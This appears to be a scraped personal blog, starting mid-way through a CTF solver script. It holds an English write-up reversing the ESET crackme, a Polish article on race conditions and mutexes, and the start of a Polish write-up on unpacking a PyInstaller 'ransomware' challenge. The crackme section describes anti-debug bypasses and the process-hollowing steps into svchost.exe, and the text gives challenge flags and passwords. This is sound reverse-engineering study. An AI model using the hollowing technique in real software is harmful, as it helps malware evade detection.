input2 = 11 * [0]
arg = 0
for i in range (22):
	for j in range (0x10):
		result = xor (blob,j)
		if ("s.x = s.d" in result):
			print "[*] Signature = {}".format (sig)
			xh = 'High'
			if arg % 2:
				xh = 'Low'
			print "[*] Arg {} --> input2[{}] [{}] --> {}".format (arg, arg/2, xh, hex(j))
			result = result.split ('"')
			sigKey = result[3]
			sig = xor2(sig,sigKey)
			blob = result[1] # take new base64 blob

			if arg % 2 == 1:
				input2 [ (arg - 1) / 2 ] |= j 
			elif arg % 2 == 0:
				input2 [ arg  / 2 ] |= j << 4

			arg = int(result[2].split(",")[2].split(")")[0])	
	blob = base64.b64decode(blob) 


flag[1][2] = ''.join([chr(x) for x in input2])
flag[1][3] = sig

# finding seed which is 3 chars and is placed: flag {0XXX_...}

mask = 0xffffffff
for i in range (0xfff):
	m_z = 1991189455
	m_w = i
	r = ~random (m_z, m_w)
	g = r ^ hash (flag[1][2]) ^ hash(flag[1][3])
	if g == 1865600952:
		print "[*] Found seed ! {}".format (i)
		flag[1][0] = ['0']
		flag[1][0] += [chr(x + 0x30) for x in list(map(int, str(i)))]
		break

# bruteforcing last three chars

flag0 = flag[1][0][:]
flag1 = ['0','R','0']
alpha = string.digits + string.ascii_letters
nums = string.digits + "ABCDEFabcdef"
for i in nums:

	flag0[0] = i
	for j in alpha:
		flag1[0] = j
		for k in alpha:
			flagCHECK = flag[:] # copy it
			flag1[2] = k
			flagCHECK[1][0] = ''.join(flag0)
			flagCHECK[1][1] = ''.join(flag1)
			flagCHECK[1] = '_'.join (flag[1])
			flagCHECK = ''.join(flagCHECK)
			h = hash (flagCHECK)
			if (ctypes.c_int(h).value == ctypes.c_int(-1996285287).value ):
				print "[*] Found flag ! {}".format (flagCHECK)
				sys.exit(0)
f.close()

Flag is computed…

And the flag is ‘flag{7631_pR0_0BfuSc4t1on_a3Bn9cQWv}’.

Dominik Tamiołło

ESET Crackme writeup [EN]

2020-02-24T12:25:24+01:00

First binary

Reconnaissance

crackme.zip is downloaded from join.eset.com.

It turns out that this is valid PE32 executable for Windows. Let's change extension to .exe. Before analysing the file it's worth to check its entropy. I used simple program called 'Ent' by Gynvael Coldwind. On image below we can see the results, 1 pixel of image width translates to 256 bytes in file. From histogram we can clearly see that code is not encrypted and it has standard as for x86 code entropy. In data section there is rather few null bytes.

There could be strings (encrypted or such that are reversible to plaintext by simple operations like xor). I spotted interesting peak of entropy in data section (pointed on picture below). After analysis in IDA Pro I found out that these bytes are used by library function, which is not really important in this analysis. Next thing I noticed is block of high entropy at the end of the file. After looking in hex-editor at these bytes it's clear that they describe certificate signed by ESET in 2017.

I also checked compiler, which generated the file. With a high degree of probability it's MSVC v.11. According to entropy analysis the file is not packed and it's quite possible the file was generated with default configuration of MSVC. Sha-256 of binary is e3ea2ca8a1ab8500c71cba1298a45efaf516a4d8f99e7f1c17db870c9aa344d9. VirusTotal considered the file harmless. Next I used strings program, but I did not found any unique and interesting strings. Is that means strings are encrypted? Later I checked functions imported by the binary. IAT looks like in any typical application. Some functions that I found important are highlighted on the screen below. Two of them I couldn't fit on the same one screen but their names are GetCurrentProcess and GetProcAddress. Of course these functions could be used by compiler itself (e.g in program prolog) but IsDebuggerPresent function on the other hand may be used explicit to prevent inexperienced analysts from debugging.

Static analysis with the help of debugger

I statically analysed this crackme using IDA 7.0 before executing this binary to get to know what's generally is going under the hood.

Binary firstly checks if it is attached to debugger. Later on function called by me 'szyfrowanie' XORs data from address 0x418000 with dynamically generated key (other function).

Shortly explaining this function takes value of first character of key and length of it. Each next value of character is computed by adding 3 to previous value of character (in this case 0x25,0x28,0x2b…))

Later decrypted data is printed out by WriteConsoleA and again encrypted to not remain decrypted in memory. 'szyfrowanie' uses XOR, so as we know XORing something twice will result in the same data.

Crackme ask us to input a password as shown above. After providing it application takes number of milliseconds that have elapsed since the system was started using GetTickCount to be used later. Password is validated by checking conditions on image above. Generally we can think of it as set of equations in which variables takes values from characters of password. Program checks 6 equations but there is 10 variable values to compute so at this point we are not able to recover valid password. I jumped over some code looking just at the graph of basic blocks and I realized that function 'szyfrowanie' is used later in code. Taking in consideration unnecessity of valid password to use 'szyfrowanie' I jumped over process of checking password by modifying EFLAGS register using debugger (ZF flag of it excatly) and named interesting blocks of code

('hint' and 'wrong_pasword')

First of them is responsible for printing out 'Wrong password', and the other one shows us hint which can be seen below.

Having 4 more equations we are able to solve the set of equations. For that purpose I used for that python language with Z3 framework by Microsoft.

#!/usr/local/bin/python
from z3 import *
char0,char1,char2,char3,char4,char5,char6,char7,char8,char9 = \
Ints('char0 char1 char2 char3 char4 char5 char6 char7 char8 char9')
s = Solver()
s.add (char8 == 85, char0 + char2 == 128, char4 - char7 == -50, char6 + char9 == 219,\
	char6 + char7 == 205, char5 + char8 == 201,
	char3 + char6 + char7 == 314, char5 + char8 + char4 + char9 == 367, char0 + char1 == 194,\
	char0 + char1 + char2 + char3 + char4 + char5 + char6 + char7 + char8 + char9 == 923 )
print s.check()
m = s.model()
passwd = [None] * 10
for a in m.decls():
	passwd[int(a.name()[4:5])] = chr(m[a].as_long())
print ''.join(passwd)

And the password is:

Important things I want to highlight are two anti-debug protections. We can see them in screen below

Block of code starting at 0x401622 saves pointer to Process Environment Block which is save in FS segment register shifted by 0x30 bytes (FS:0x30). Next instruction checks PEB's second boolean variable which is set if process is debugged. (isBeingDebugged used before refers to the same variable)

Next block of code (starting at 0x40163A) checks whether since providing password until its checking elapsed less than 64 milliseconds, which is false for sure. By bypassing these protections against debugging we can freely analyse application code.

Password we provided is used for calculating hash. C code of this hashing algorithm is shown below.

int compute_simple_hash (char * password_string, unsigned int size_of_string)
{
  	int actual_hash;
  	actual_hash = 0;
  	for (int i = 0; i < size_of_string; ++i)
  	{
    		actual_hash = (actual_hash >> 9) ^ password_string[i];
  	}
  	return actual_hash;
}

For password 'Pr0m3theUs' execution flows to ' win' block. String informing us about valid password is decrypted using password we provided by XOR. Message is printed out by WriteConsoleA, then decrypted back. It inform us that password is valid but we need to decrypt other piece of data to get what we need.

Using IDA I found piece of data which is not referenced anywhere, but it is close (meaning offsets) to other strings used in program. I copied binary representation of the data and decrypted using found password.

I wrote simple python script that automates decrypting this message and I placed it below.

#!/usr/local/bin/python
import sys
finalencrypted = open("crackme.zip","rb").read()[0x161a8:0x161eb]
passwd = "Pr0m3theUs"
finaldecrypted = ''
j = 0

for i in finalencrypted:
	char = chr ( ord(i) ^ (2 + ord(passwd[j%len(passwd)])) ) 
	finaldecrypted = finaldecrypted + char
	j = j + 1
print
print finaldecrypted

Decrypted message is URL to next crackme.

crackme.zip (second crackme)

Reconnaissance

File downloaded is valid zip archive containing two files: EsetCrackme2015.exe (14 KB) and EsetCrackme2015.dll (654 KB). I did analysed entropy of these files. Histograms shown below.

Histogram for .dll

Histogram for .exe

EsetCrackme2015.dll for almost every 256 bytes sample has entropy reaching up to 97 %, so file is strongly encrypted. I suspect there is small piece of code (stub) in that which decrypts other data or even executables judging by filesize. Almost whole file consists of its data section. At the end of file there is certificate.

Exeinfo informs 'Self Write code ! unknown protection', so this binary could be doing something nasty or just program cannot determine known packer.

EsetCrackme2015.exe looks like it contains only executable code with certificate.

Both binaries ale valid PE32 executables.

What's interesting DLL does not export or import any functions. It's quite unusual and looking suspicious. Binary will probably refer to PEB (Process Environment Block) saved at offset 0x30 in FS segment register to gather all needed imports runtime.

Exe file imports only 5 files. Most interesting of them is LoadLibraryA. It could be used for load attached DLL file, or other needed libraries. Looking for human readable string I could not find anything interesting.

I parsed the provided files by binwalk, but there are any other structures than usual ones for PE files.

.exe file analysis

For whole analysis I was using interchangeable IDA and x32dbg. Code in entry point has simple layout of blocks.

Program makes sure there is only one instance of itself running. It is checked by trying to acquire mutex named 'EsetCrackme2015'. In the case of failure program knows there is another instance running in OS. Then crackme checks path for executable that started current process by calling GetGetModuleFileNameA. Later on simply by using mov mnemonic there is exchanged 'exe' string with 'dll' in path to executable got earlier. Then this string is used to load into address space library EsetCrackme2015.dll as I presumed before.

.dll stub analysis

The only function that I can analyse at this point is DllEntryPoint, because further code is likely to be decrypted runtime later. Analysing code of stub I came to following conclusion:

DllEntryPoint for 'EsetCrackme2015.dll' finds entrypoint for module that loaded it, so in this case it is 'EsetCrackme2015.exe'. When it is found then it proceed to find unique 12 bytes (action called egg hunting) determining function from EsetCrackme2015.exe which then calls (address 0x401E9F VA). This function I'm going to analyse in subsequent part in this paper. List of steps to achieve described actions:

Get from segment register FS:[0x30] address to PEB (Process Environment Block);
From PEB at offset 0xC get pointer to structure PPEB_LDR_DATA;
From PPEB_LDR_DATA get head of double linked list containing entries of type LDR_DATA_TABLE_ENTRY. Each item of this type contains information about module loaded into adress space. We can use double linked list to iterate over all modules;
Get first module name and compare it with string 'exe'. Technically there is computed FNV hash for checked module name and compared with hash for 'EsetCrackme2015.exe'. I recognized this by constant values used by this hashing algorithm 0x1000193 and 0x811c9dc5;
Get base address of the module;
Increment (base address + 0x1000) till next 12 bytes are equal to '\x05\x14\x12\xfa\xde\x69\xc0\x1f\xa1\x5f\x32\xc3';
Get address just after found bytes;
Call function at computed earlier address.

I described with more in detail similar technique of using Windows API without IAT (Import Address Table) on my blogpost: http://dominiktamiollo.pl /re/rce/asm/debug/2017/07/24/reverse-tcp.html

After all these steps execution flow take us to EsetCrackme2015.exe module.

Let's prepare environment

Function, that we jump from DLL code is called by me 'JumpedFromDLL'. Firstly it gets base address of kernel32.dll. 'getFunc2' returns address of Windows API function shifted by 2 bytes. First argument is FNV hash of function we want to get and second (in ESI register) base address of library where to search. 'JumpedFromDLL' then gets Sleep and CreateThread functions using 'getFunc2' from kernel32.dll. Calling CreateThread creates new thread with entry point function that I named 'newThreadAddr'. Argument to pass through to new thread is address of Sleep function. 'get_kernel32addr' get address of PEB. Then reads its structures, get module names, calculate FNV hash of them and compares with 0x29CDD463, which corresponds to 'kernel32.dll'. If they matches function returns image base of this module. During the analysis I noticed there are a lot cross references to 'getFunc2' and I wrote script to automate process of reverse lookup of function names. Script puts comment with name of desired function next to every function 'getFunc2' occurrence. Script needs binary to find functions. I assumed all functions are from kernel32.dll and in fact all of them were found. 'newThreadAddr' checks whether 'EsetCrackme2015.dll' is loaded into address space of process; If not then it calls Sleep function which address was handed over before. If that's true then it calls 'setup_playground', which prepares most things that are needed for this crackme to run.

import idaapi
import idc 

def fvnHash (s):
	offset = 0x811c9dc5
	prime =  0x01000193
	hash = offset
	for b in s:
		hash = hash ^ ord(b)
		hash = hash * prime & 0xffffffff
	return hash

def getExportNames(dllPath):
	data = open (dllPath,"rb").read()
	offPE = data[0x3c:0x40]
	PE = struct.unpack("<I",offPE)[0]
	exportTableRVA = struct.unpack("<I",data[PE+0x78:PE+0x78+4])[0]
	codebase = struct.unpack("<I",data[0x114:0x114+4])[0]
	textPointerRawData = struct.unpack("<I",data[0x1f4:0x1f4+4])[0]

	exportdirectory = exportTableRVA - codebase + textPointerRawData
	numberOfFunctions = struct.unpack("<I",data[exportdirectory+0x18:exportdirectory+0x1c])[0]

	addressOfNames = struct.unpack("<I",data[exportdirectory+0x20:exportdirectory+0x24])[0] - codebase + textPointerRawData

	firstEntry = struct.unpack("<I",data[addressOfNames:addressOfNames+4])[0] - codebase + textPointerRawData
	lastEntry = struct.unpack("<I",data[addressOfNames+numberOfFunctions*4 - 4:addressOfNames+numberOfFunctions*4])[0] - codebase + textPointerRawData
	actualChar = data[lastEntry]
	while (actualChar != '\x00'):
		lastEntry = lastEntry + 1
		actualChar = data[lastEntry]
	functions = data[firstEntry:lastEntry].split('\x00')
	return functions	

def find_func_arg(addr):
	while True:
		addr = idc.PrevHead(addr)
		if (GetMnem(addr) == "push"):
			if GetOpnd(addr,0)[0] == '[':
				return 0
			else:
				return int(GetOpnd(addr,0)[:-1],16)

def getFunc2Names (addrXref):
	xrefs = XrefsTo(addrXref)
	for i in xrefs:
		addr = i.frm
		print "Aktualny Xref : {}".format(hex(addr))
		arg = find_func_arg(addr)
		print type(arg)
		if (type(arg) is int):
			print "Aktualny argument : {}".format(hex(arg) )
			for j in exports:
				actualHash = fvnHash(j)
				if (actualHash == arg):
					print "Znaleziono {}".format(j)
					MakeComm(addr,j)


exports = getExportNames("kernel32.dll")
print "START"

getFunc2Names(0x401c03)
getFunc2Names(0x401c79)

setup_playground, let's the game begin

In this function there is created new frontend process which handles GUI for this crackme and established communication between 'EsetCrackme2015.exe' and frontend itself (Inter Process Communication). File 'EsetCrackme2015.dll' except stub consists of resources, each of them has its own ID (2 bytes) and size (4 bytes). These resources includes passwords, encryption keys and next binaries - generally speaking all data that is obligatory to build structure of crackme. In adress space there is created global pointer in order to save important addresses and states of application. I called it 'offsets'. 'setup_playground' creates event (CreateEventA), which is later used later for communication during passwords checking. Then new thread is created handling resource requests and simple signals about state (function 'handleRequests').

Requests, responses, resources

HandleRequests at first searches by 'eggHunt' resource with ID equal to 2 (packed into 'EsetCrackme2015.dll'). 'EggHunt' traverses all resources within file by getting their size and add this value to current file offset. If ID is equal to requested then address of resource is returned. Resource with ID equal to 2 is path to named pipe, which is used for transferring data between processes.

Path is exactly '//./pipe/EsetCrackmePipe', which is decrypted by XOR with key 'PIPE'. Transferring data works in client-server architecture. Client sends 2 packets: first is type of request (0x1 - data transfer, 0x2 - send signal) and second one with ID of resource/signal. Server in case of data transfer responds the same two packets, third packet contains 4 bytes size of data and fourth data requested.

On screenshoot below side we can see functions used to response request.

Firstly there is opened pipe by 'CreateNamedPipeA' then connected to other side by 'ConnectNamedPipe'. If there is some problem error is checking by 'GetLastError'. Then function reads data request data: request type (values 1 or 2) and its ID. Depending on them 'responseRequest' reply with requested data or response to signal. 'responseRequest' at first replies with type of request and its ID, then depending on request type takes appropriate actions. For type equals 1 it finds by 'eggHunt' resource address, then sends its size and data. Block diagram on next page.

For type equals to 2 signal for valid password entered is served (meaning back-end). 'handle_type_2_request' firstly checks by value of [offsets+0x10b] state whether frontend of crackme is running. If so then save to specific memory address value of ID placing them next to each other like in array. 'offsets' is used to get memory addresses to write.

Next use 'SetEvent' to trigger earlier created event from 'setup_playground', which is going to be served in another thread. Requesting signal or data results in sending to client message 'OK' or 'ER' giving feedback.

Back to 'setup_playground'

When thread to communicate between processes is created next step is to save addresses of 'decryptResource' and 'getFunc2Overlay' to memory obtained by 'offsets' and find resources with IDs 0x3 and 0x101.

Resource with ID equals to 0x3 is decrypted by XOR with key '!This program cannot be run in DOS mode', which resides in any not by hand modified PE executable. In this case it is retrieved from 'kernel32.dll' executable which is present in address space. Decrypted resource 0x3 is base64 string 'SXJyZW4lMjBpc3QlMjBtZW5zY2hsaWNo'. However it's not converted to plain text anywhere. The string is passed to function responsible for decrypt resource 0x101. I left in-depth analysis for this function and treat it as black-box. Function gets base64 as key and decrypt resource.

Resource with ID 0x101 is decrypted (by function 'decrypt_binary'). It is valid PE32 executable with relocations, which are applied by function 'apply_relocations'. This binary is frontend of crackme. At address 0x402262 there is instruction obtaining entry address of binary from resource 0x101; virtual address of this entry point in my case is 0x10000CDD. Then this pointer is saved to local variable 'code'. I dumped (using x32dbg) newly decrypted executable as 'front-end.exe' for later analysis on disk.

We are moving to loop that iterate until the frontend is running (for flag [offsets+0x108] equals 0 it is active, for 1 inactive) and sends signals. Block of code with name 'wait_for_event_from_front_end' waits for event and then returns back to beginning of the loop. If the frontend was shut down or all conditions to complete crackme were met then function is exiting and thread for handling requests is terminated as well. At 0x402278 there is call to the frontend executable at its entry point got before (0x10000CDD). Function at this address is called by me 'checks_n_hollowing', which simplified block diagram is shown on next page. Main task earlier mentioned function is to perform process hollowing. Generally this technique is based on creating a seemingly innocent process in a suspended state then copy code contents into it and resume the process. To achieve this following steps are taken. Get resources with IDs ID 0x102, 0x103 and 0x104. Resource 0x102 is position independent code for process hollowing (PIC, using relative addressing, tricks like call $+5, pop eax). Pointer to resource 0x103 is passed as argument to this code. At first it creates new process 'svchost.exe' (with flag CREATE_SUSPENDED). Code is quite complicated for me so I took dynamic approach. I set breakpoints on suspected API functions responsible for operating on processes and I was able to determine steps took by process hollowing code.

Create new 'svchost.exe' process (using Create ProcessA);
Save current context of 'svchost.exe' (using GetThreadContext); 3.Allocate big chunk of data and copy there frontend binary. (VirtualAlloc and WriteProcessMemory);
Set new context (set new EIP using SetThreadContext);
Resume process at frontend entry point (ResumeThread).

'checks_n_hollowing' checks whether there were send 3 signals about validity of passwords (ID: 0xBB01, 0xBB02, 0xBB03) and additional 0xFF01. If all signals were delivered message 'That's all, congratulations' by MessageBox is displayed.

'checks_n_hollowing'

As I learned whole frontend binary was copied to new process 'svchost.exe' so I dumped its content into 'front-end.exe' for later analysis in IDA.

Frontend, windows internals

Entry point for this binary is WinMain, so we we can assume that it is GUI only application. This function only calls DialogBoxParamW, which creates window using resource included in binary that describe its appearance (argument 'lpTemplateName' that equals 0x67 means we refer to resource ID 0x67). Most important argument is pointer to function 'DialogFunc'. This function is called whenever event connected with this window is received.

'DialogFunc' takes four arguments, first is handle to dialog box, second type of message as integer, third and fourth additional data depending upon message type.

In function 'DialogFunc' shown partially below we can see three lstrcmpA functions called, each of them is responsible for other password. From each password there is calculated its SHA1 hash and compared to valid ones. Of course I found valid SHA1 hashes but it is impossible to reverse them into plaintext.

When message type sent to 'DialogFunc' is WM_INITDIALOG (signal sent before creating window) then new thread is created. Its task is to change function that handles event of class 'EDIT' (that is first textfield to type in password) with 'custom_first_passwd_windowproc' function. It is done by using SetWindowLongA function.

Newly assigned function checks whether event dispatched is WM_GETTEXT. Generally it intercepts event from ‚DialogFunc' and returns another string there. If so then gets string of first password typed into this textfield (maximum 0x40 bytes), then converts it to its base64 representation. This representation is then slightly modified: every even character within string is decremented (meaning ASCII values).

If we compare this string with valid one ([offsets+0x118]) using 'lstrcmp' then signal about valid password is sent to backend (signal ID 0xBB01).

Valid modified base64 representation of password is earlier got by request to resource 0xBB02. During dynamic analysis I copied valid modified base64 representation of first password 'RFV1aV4fQ1FydFxk' ('front-end.exe', 0x401734) after decrypting with XOR in function 'get_sha1_of_passwd_and_custom_base64_first_passwd' ('front-end.exe'). To acquire plaintext of password I wrote one liner in python (maybe a little bit exaggerated but works :) ).

''.join([ chr(ord(i[1]) + 1) if i[0] % 2 else i[1] for i in zip (range(len("RFV1aV4fQ1FydFxk")),list("RFV1aV4fQ1FydFxk"))]).decode("base64")

When 'check' button is clicked it calls 'get_string_from_windowtext_and_generate_sha1', then WM_GETTEXT message is intercepted and signal for good password is sent. When it returns to DialogFunc it is also checked whether SHA1 hashes of passwords match, if so then it send the same 0xBB01 signal, so two signals are sent. Signal is received in module 'EsetCrackme2015.exe' at address 0x4022C5 (with WaitForSingleObject function), which calls again 'checks_n_following'. This one unpacks next resource (0x152) 'drv.zip'. After unpacking archive we get driver with instruction. Unfortunately I was not able to analyse it well.

Summary

Task demanded from me in depth analysis most of the functions included in binaries. It was crucial in order to get to know principles of operation of this crackme. For this analysis I used mainly IDA, x32dbg for code understanding and Synalyze It hex editor when dealing with binary files to check PE structures of binaries. Simultaneously using deasembler and debugger I note interesting variables or offsets to my notepad. During dynamic analysis I check register values and dumps of memory regions. By this I conclude how application works, and by naming functions, variables or adding comments to assembly lines I make more and more coherent whole. For more complex functions I use decompilers (e.g. this one from Ghidra). First task was not a problem for me, second one turned out to be more complicated but step by step I went through to obtain first password having fun and learning new things about Windows internals.

I add to this document .idb files, extracted binaries and scripts that made analysis easier.

PACK-BLOG.zip

Dominik Tamiołło

Multithreading - problemy synchronizacji

2019-07-13T18:30:24+02:00

Każdy z nas w swojej karierze programisty stanął przed zadaniem napisania programu który wykonuje się równolegle. Aby tak się stało musimy zaprzęgnąć do wykonywania naszych zadań wątki. Te konstrukty to jednostki wykonujące kod, które są zarządzane przez planistę systemowego. Gdy w systemie jest uruchomionych setki czy tysiące wątków, a procesor posiada np. 2 rdzenie fizyczne, to aby umieścić je w czasie, należy wykonywać je „po trochu”.

Planista w zależności od priorytetu i aktualnych potrzeb systemu przełącza wątki, tak że użytkownik ma wrażenie że system działa w czasie rzeczywistym. Ważnym pojęciem jest context switching (przełączanie pomiędzy wątkami), gdy wątek aktualnie nie może się wykonywać (np. z powodu oczekiwania na dane, operacje I/O) to planista zmienia aktualny wątek. Cały stan wątku musi zostać zapisany do pamięci. Dokładnie kopia rejestrów, stos oraz zmienne lokalne dla wątku. Struktura zapisanych rejestrów jest dla dla GNU Linux w katalogu /usr/include/sys/user.h jako struktura user_regs_struct, natomiast dla Windowsa całą strukturę kontekstu można zobaczyć w pliku WinNT.h pod nazwą CONTEXT_structure. Gdy wątek przez planistę zostanie wznowiony to stan musi zostać odczytany oraz przywrócony, co czyni tą operację nieco obciążającą.

Wątki współdzielą ze sobą przestrzeń adresową procesu (wszelkiego rodzaju pamięć) oraz mogą odwoływać się do tych samych zmiennych. Jeżeli dwa wątki zażądają dostępu do tego samego miejsca w pamięci (np. jakiejś zmiennej) i operacja na nim nie będzie atomowa (niepodzielna w sensie instrukcji procesora czy kodu wyższego poziomu) to jeden z wątków może uzyskać starą wartość (np. zmiennej) kiedy ta była już zmieniona przez drugi wątek. Możemy tą sytuacje zobrazować przykładem. W naszym programie jest zmienna money, która jest globalna. Program posiada 2 wątki które inkrementują tę wartość w tym samym czasie.

#include <pthread.h>
#include <stdio.h>

const int cyclesPerThread = 100000;
const int numThreads = 2;

int incrementMoney ()
{	
	static int money = 0;
	money++;
	return money;
}
void * test (void * /*arg*/)
{
	static int acc = 0;
	acc++;
	while (acc != numThreads); // prepare all threads to start in the same time, spinlock
	for (int i = 0 ; i < cyclesPerThread;i++)
	{
		incrementMoney();
	}	
	return 0;
}

int main ()
{
	pthread_t threads [numThreads];
	for (int i = 0; i < numThreads; i++)
	{	
		pthread_create(&threads[i], NULL, test, NULL);
	}
	for (int i = 0 ; i < numThreads; i++)
	{
		pthread_join(threads[i],NULL);
	}
	printf ("Balance : %u \n",incrementMoney());
	printf ("Should be %u \n",numThreads * cyclesPerThread+1);
	return 0;
}

Funkcja incrementMoney została wygenerowana przez kompilator w taki sposób:

Jak widzimy instrukcja „money++;” rozdzieliła się na pobranie aktualnej wartości z pamięci do rejestru, inkrementacje wartości pobranej do rejestru, oraz zapisaniu wyniku do pamięci. Przeanalizujmy przykład gdy 2 wątki są na różnym etapie wykonywania funkcji incrementMoney i jakie konsekwencje to za sobą niesie.

W tym przypadku finalną wartością jest 1 zamiast 2. Jak widzimy tak prosta operacja jak inkrementacja zmiennej nie jest operacją atomową. Składają się na nią w tym przypadku 3 instrukcje procesora. Wracając do naszego przykładowego programu z początku sprawdźmy jego wynik.

Za każdym uruchomieniem wynik różni się, co nie zależy zupełnie od kodu programu. Gdy nasz program uruchomimy na systemie z procesorem jednordzeniowym na Linuxie

Nie doświadczyliśmy problemu złego wyniku ze względu na wykonywanie wszystkich wątków sekwencyjnie (brak współbieżności).

Aby nie doświadczać takich niespodzianek również dla procesorów wielordzeniowych musimy zrozumieć czym jest „thread safety” oraz „race condition” (piszę je po angielsku, bo pewnie nie spotkacie się z ich polskimi odpowiednikami). Dany kod jest thread safe jeżeli wszystkie operacje w nim zawarte gwarantują że dostęp do pamięci współdzielonej nie koliduje pomiędzy wątkami które żądają do niej dostępu. Race condition możemy przetłumaczyć na polski jako sytuacja wyścigu, np. dostępu do danego zasobu. Program który był opisywany wcześniej jest przykładem właśnie tej sytuacji. Dla bardziej wnikliwych odsyłam do artykułu na wikipedii race condition

Brak synchronizacji może powodować niebezpieczne dla bezpieczeństwa aplikacji błędy. Przedstawmy przykład instalatora dwuetapowego:

stwórz katalog tmp
zmień uprawnienia katalogu tmp tak aby tylko instalator miał do niego dostęp
wypakowuj pliki dla drugiego etapu instalacji
drugi etap instalacji

Jeżeli złośliwy użytkownik „wstrzeli się” w czas pomiędzy stworzeniem katalogu a jego zmianą uprawnień, to może w nim zapisać wcześniej spreparowany plik. Pod warunkiem że instalator źle obsługuje sytuacje istnienia pliku w tymczasowym katalogu złośliwy użytkownik może przejąć kontrole nad instalacją oraz zmienić kod programu. Co ciekawe ten błąd może wystąpić również na komputerze wyposażonym w procesor jednordzeniowy ze względu na fakt że planista systemowy mógł wywłaszczyć wątek instalatora oraz przekazać wykonanie do kodu który podstawia plik w tamtej lokalizacji.

Jak zabezpieczyć aplikacje przed tego typu sytuacjami ?

Można przyjąć dwa podejścia: unikanie współdzielenia danych pomiędzy wątkami. stosowanie operacji które są atomowe, bądź stosowanie wzajemnego wykluczania (mutex - mutual exclusion) dostępu do współdzielonych zmiennych przez wątki.

W przypadku programu który omawialiśmy wcześniej przyjmijmy że zmienna money musi być globalna i wszystkie wątki muszą do niej mieć dostęp. Aby poprawić działanie naszego programu użyjemy mutex’a. Mutex służy do chronienia danych dzielonych miedzy wątkami przed równoczesnymi modyfikacjami fragmentów pamięci. Można o nim myśleć (w uproszczeniu) jako o zmiennej globalnej bool która jest synchronizowana przez system operacyjny, a jej wartość oznacza czy obiekt który chcemy synchronizować jest w użyciu. W tym przykładzie użyję specyfikacji pthreads (POSIX threads), jednak równie dobrze można skorzystać z szablonu std::mutex z C++ 11. Mutex może być zajęty (tylko wątek który go zajął może wykonywać kod dopóki go nie zwolni) bądź wolny czyli gotowy do zajęcia przez jakikolwiek inny wątek. Zmieńmy nasz już istniejący kod:

pthread_mutex_t moneyMutex = PTHREAD_MUTEX_INITIALIZER;

int incrementMoney ()
{	
	static int money = 0;
	pthread_mutex_lock(&moneyMutex);
	money++;
	pthread_mutex_unlock(&moneyMutex);
	return money;
}

Jak widać mutex musi być globalnie widoczny dla wszystkich wątków które się do niego odwołują, Obszar kodu pomiędzy zajęciem a zwolnieniem mutexu nazywamy sekcją krytyczną. Sprawdźmy poprawność wyniku naszego programu

Za każdym razem wynik jest poprawny oraz kod możemy nazwać thread safe.

Writeup Cobra Ransomware (300 pkt) - ECSC eliminacje

2018-08-08T02:48:52+02:00

W dniach od 18 do 22 czerwca 2018 odbyły się eliminacje do European Cyber Security Challenge. Konkurs został podzielony na 2 grupy wiekowe : Juniorzy (14-20 lat) oraz Seniorzy (21 - 25 lat). Ze względu na mój wiek rozwiązywałem zadania z pierwszej kategorii wiekowej. Zadanie które opiszę w tym poście to Cobra Ransomware za 300 pkt (RE) - link.

Do dyspozycji otrzymujemy zaszyfrowany plik oraz binarkę ransomware.

Zwróćmy uwagę na ikonę nawet przed uruchomieniem pliku. Od razu skojarzyło mi się to z jakimś bundlerem skryptów Pythona. Celem bundlerów jest utworzenie samowystarczalnego pliku wykonywalnego który zawiera nasz skrypt oraz całe środowisko uruchomieniowe. Kluczowe z pythonowych bundlerów to : Py2exe, cx_freeze oraz PyInstaller. Ikona naszego pliku wskazuje jakby był to plik spakowany przez ten ostatni.

Czas uruchomić naszą próbkę ransomware. Pamiętajmy aby prawdziwy malware testować tylko w izolowanym środowisku np. poprzez maszynę wirtualną.

Program podaje zawsze ten sam UserID oraz oczekuje na prawidłowy klucz którzy rzekomo mielibyśmy wpisać w celu odzyskania naszych plików. Wnioskując że mamy do czynienia z PyInstallerem który pakuje całość UPX’em a sam proces wykonywania kodu Pythona na poziomie kodu maszynowego może być zbyt skomplikowany więc odpuszczamy z korzystania z debuggera (straciłem na to 7 dni :) ). Hook’ując funkcje systemowe programem API Monitor trafimy na ścieżkę zawierającą pliki zapewniające środowisko uruchomieniowe (wypakowane z samego pliku cobra.exe).

Zawartość wypakowanego pliku:

Pliki exe tworzone przez PyInstaller mają specyficzną strukturę którą możemy poznać poprzez czytanie kodu źródłowego pyinstaller. Skrótowe przedstawienie tej struktury przedstawia obrazek:

Wszystkie pliki oraz obiekty code (wg. implementacji CPython jest to wykonywalny kod bajtowy pythona) są niejako doklejone do pliku .exe. W źródłach PyInstallera cała ta struktura jest nazwana CArchive.

Analizę tego archiwum podobnie jak plików .zip zaczynamy od końca pliku, gdzie znajduje się CArchive Cookie zawierająca m.in. spis zawartości archiwum. Jego strukturę możemy poznać czytając /bootloader/src/pyi_archive.h.

/* TOC entry for a CArchive */
typedef struct _toc {
    int  structlen;  /*len of this one - including full len of name */
    int  pos;        /* pos rel to start of concatenation */
    int  len;        /* len of the data (compressed) */
    int  ulen;       /* len of data (uncompressed) */
    char cflag;      /* is it compressed (really a byte) */
    char typcd;      /* type code -'b' binary, 'z' zlib, 'm' module,
                      * 's' script (v3),'x' data, 'o' runtime option  */
    char name[1];    /* the name to save it as */
    /* starting in v5, we stretch this out to a mult of 16 */
} TOC;

/* The CArchive Cookie, from end of the archive. */
typedef struct _cookie {
    char magic[8];      /* 'MEI\014\013\012\013\016' */
    int  len;           /* len of entire package */
    int  TOC;           /* pos (rel to start) of TableOfContents */
    int  TOClen;        /* length of TableOfContents */
    int  pyvers;        /* new in v4 */
    char pylibname[64]; /* Filename of Python dynamic library e.g. python2.7.dll. */
} COOKIE;

Każdy wpis TOC możemy traktować jako nagłówek pliku który mamy „wyeksportować” z pliku. Należy dodać że każde pole jest kodowane w big endian. Dla przykładu objaśnienie nagłówka dla pliku python27.dll:

pole typcd nagłówka TOC może przyjmować następujące wartości :

“m” - moduł języka Python (plik .pyc)
“M” - pakiet języka Python
”s” - skrypt w postaci obiektu code zserializowany (marshal)
“b” - dane binarne (np. .dll .pyd)
“z” - ZlibArchive
“Z” - archiwum Zip
“d” - ścieżka do archiwum zawierające potrzebne zależności (dependencies)
“a” - archiwum CArchive
“x” - dane
“o” - opcje konfiguracyjne

Naturalnym planem działania w celu rozwiązania tego zadania jest rozpakowanie CArchive zawartego w cobra.exe. Plan działania jest prosty :

Zparsowanie CArchiveCookie (znajduje się ono na samym końcu pliku)
Parsowanie każdego TOC dopóki nie przeczytamy TOClen bajtów
Eksportowanie każdego pliku, jeżeli w nagłówku flaga cflag jest ustawiono musimy użyć zlib’a aby wypakować dane.
